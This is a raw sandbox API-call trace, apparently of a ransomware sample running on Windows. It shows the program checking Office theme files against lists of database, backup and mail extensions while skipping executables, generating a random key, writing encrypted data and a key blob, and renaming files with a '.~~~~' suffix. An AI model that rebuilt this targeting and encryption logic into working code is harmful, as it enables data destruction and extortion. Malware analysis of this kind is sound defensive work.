	[0086.279] lstrlenW (lpString=".DB") returned 3
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.279] lstrlenW (lpString=".sql") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.279] lstrlenW (lpString=".MYD") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.279] lstrlenW (lpString=".DBT") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.279] lstrlenW (lpString=".ACCDB") returned 6
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.279] lstrlenW (lpString=".fdb") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.279] lstrlenW (lpString=".bak") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.279] lstrlenW (lpString=".myd") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.280] lstrlenW (lpString=".DTXS") returned 5
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.280] lstrlenW (lpString=".ckp") returned 4
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.280] lstrlenW (lpString=".dbt") returned 4
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.280] lstrlenW (lpString=".db") returned 3
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.280] lstrlenW (lpString=".TXT") returned 4
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.280] lstrlenW (lpString=".MDF") returned 4
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.280] lstrlenW (lpString=".bdb") returned 4
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.280] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.280] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.281] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.281] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.282] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20627174431) returned 1
	[0086.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d3c0b30, dwHighDateTime=0x1d60e1e)) 
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6c00
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c00 | out: hHeap=0x300000) returned 1
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb0d8
	[0086.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb0d8 | out: hHeap=0x300000) returned 1
	[0086.282] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.283] GetLastError () returned 0x0
	[0086.283] GetLastError () returned 0x0
	[0086.283] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.283] GetLastError () returned 0x0
	[0086.283] GetLastError () returned 0x0
	[0086.285] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffaacc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.285] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x5534, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x5534, lpOverlapped=0x0) returned 1
	[0086.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.286] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.286] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.286] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.286] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.286] CloseHandle (hObject=0x120) returned 1
	[0086.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.316] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.~~~~")) returned 1
	[0086.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.324] GetLastError () returned 0x0
	[0086.324] RtlWakeConditionVariable () returned 0x365f70
	[0086.324] GetCurrentThreadId () returned 0x9cc
	[0086.324] GetCurrentThreadId () returned 0x9cc
	[0086.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5e78 | out: hHeap=0x300000) returned 1
	[0086.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dfc0 | out: hHeap=0x300000) returned 1
	[0086.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5e78
	[0086.324] lstrlenW (lpString=".scr") returned 4
	[0086.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".scr") returned 0x0
	[0086.324] lstrlenW (lpString=".cmd") returned 4
	[0086.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".cmd") returned 0x0
	[0086.324] lstrlenW (lpString=".dll") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dll") returned 0x0
	[0086.325] lstrlenW (lpString=".bat") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".bat") returned 0x0
	[0086.325] lstrlenW (lpString=".cpl") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".cpl") returned 0x0
	[0086.325] lstrlenW (lpString=".sys") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".sys") returned 0x0
	[0086.325] lstrlenW (lpString=".msc") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".msc") returned 0x0
	[0086.325] lstrlenW (lpString=".com") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".com") returned 0x0
	[0086.325] lstrlenW (lpString=".lnk") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".lnk") returned 0x0
	[0086.325] lstrlenW (lpString=".msp") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".msp") returned 0x0
	[0086.325] lstrlenW (lpString=".pif") returned 4
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".pif") returned 0x0
	[0086.325] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0086.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.326] lstrlenW (lpString=".sqb") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".sqb") returned 0x0
	[0086.326] lstrlenW (lpString=".ost") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".ost") returned 0x0
	[0086.326] lstrlenW (lpString=".txt") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".txt") returned 0x0
	[0086.326] lstrlenW (lpString=".mdt") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".mdt") returned 0x0
	[0086.326] lstrlenW (lpString=".BDB") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".BDB") returned 0x0
	[0086.326] lstrlenW (lpString=".eql") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".eql") returned 0x0
	[0086.326] lstrlenW (lpString=".DBF") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DBF") returned 0x0
	[0086.326] lstrlenW (lpString=".EQL") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".EQL") returned 0x0
	[0086.326] lstrlenW (lpString=".FDB") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".FDB") returned 0x0
	[0086.326] lstrlenW (lpString=".EDB") returned 4
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".EDB") returned 0x0
	[0086.326] lstrlenW (lpString=".DACPAC") returned 7
	[0086.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.327] lstrlenW (lpString=".VHD") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".VHD") returned 0x0
	[0086.327] lstrlenW (lpString=".DBV") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DBV") returned 0x0
	[0086.327] lstrlenW (lpString=".dacpac") returned 7
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dacpac") returned 0x0
	[0086.327] lstrlenW (lpString=".sdf") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".sdf") returned 0x0
	[0086.327] lstrlenW (lpString=".accdb") returned 6
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".accdb") returned 0x0
	[0086.327] lstrlenW (lpString=".DBX") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DBX") returned 0x0
	[0086.327] lstrlenW (lpString=".MDT") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".MDT") returned 0x0
	[0086.327] lstrlenW (lpString=".SQB") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".SQB") returned 0x0
	[0086.327] lstrlenW (lpString=".vhd") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".vhd") returned 0x0
	[0086.327] lstrlenW (lpString=".bac") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".bac") returned 0x0
	[0086.327] lstrlenW (lpString=".mdf") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".mdf") returned 0x0
	[0086.327] lstrlenW (lpString=".BAK") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".BAK") returned 0x0
	[0086.327] lstrlenW (lpString=".BAC") returned 4
	[0086.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".BAC") returned 0x0
	[0086.327] lstrlenW (lpString=".dbs") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dbs") returned 0x0
	[0086.328] lstrlenW (lpString=".vhdx") returned 5
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".vhdx") returned 0x0
	[0086.328] lstrlenW (lpString=".NDF") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".NDF") returned 0x0
	[0086.328] lstrlenW (lpString=".dat") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dat") returned 0x0
	[0086.328] lstrlenW (lpString=".DBS") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DBS") returned 0x0
	[0086.328] lstrlenW (lpString=".CKP") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".CKP") returned 0x0
	[0086.328] lstrlenW (lpString=".edb") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".edb") returned 0x0
	[0086.328] lstrlenW (lpString=".PST") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".PST") returned 0x0
	[0086.328] lstrlenW (lpString=".dbf") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dbf") returned 0x0
	[0086.328] lstrlenW (lpString=".SQL") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".SQL") returned 0x0
	[0086.328] lstrlenW (lpString=".pst") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".pst") returned 0x0
	[0086.328] lstrlenW (lpString=".dbv") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dbv") returned 0x0
	[0086.328] lstrlenW (lpString=".SDF") returned 4
	[0086.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".SDF") returned 0x0
	[0086.329] lstrlenW (lpString=".dtxs") returned 5
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dtxs") returned 0x0
	[0086.329] lstrlenW (lpString=".db3") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".db3") returned 0x0
	[0086.329] lstrlenW (lpString=".OST") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".OST") returned 0x0
	[0086.329] lstrlenW (lpString=".dbx") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dbx") returned 0x0
	[0086.329] lstrlenW (lpString=".DB3") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DB3") returned 0x0
	[0086.329] lstrlenW (lpString=".DAT") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DAT") returned 0x0
	[0086.329] lstrlenW (lpString=".VHDX") returned 5
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".VHDX") returned 0x0
	[0086.329] lstrlenW (lpString=".ndf") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".ndf") returned 0x0
	[0086.329] lstrlenW (lpString=".DB") returned 3
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DB") returned 0x0
	[0086.329] lstrlenW (lpString=".sql") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".sql") returned 0x0
	[0086.329] lstrlenW (lpString=".MYD") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".MYD") returned 0x0
	[0086.329] lstrlenW (lpString=".DBT") returned 4
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DBT") returned 0x0
	[0086.329] lstrlenW (lpString=".ACCDB") returned 6
	[0086.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.330] lstrlenW (lpString=".fdb") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".fdb") returned 0x0
	[0086.330] lstrlenW (lpString=".bak") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".bak") returned 0x0
	[0086.330] lstrlenW (lpString=".myd") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".myd") returned 0x0
	[0086.330] lstrlenW (lpString=".DTXS") returned 5
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".DTXS") returned 0x0
	[0086.330] lstrlenW (lpString=".ckp") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".ckp") returned 0x0
	[0086.330] lstrlenW (lpString=".dbt") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".dbt") returned 0x0
	[0086.330] lstrlenW (lpString=".db") returned 3
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".db") returned 0x0
	[0086.330] lstrlenW (lpString=".TXT") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".TXT") returned 0x0
	[0086.330] lstrlenW (lpString=".MDF") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".MDF") returned 0x0
	[0086.330] lstrlenW (lpString=".bdb") returned 4
	[0086.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", lpSrch=".bdb") returned 0x0
	[0086.330] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
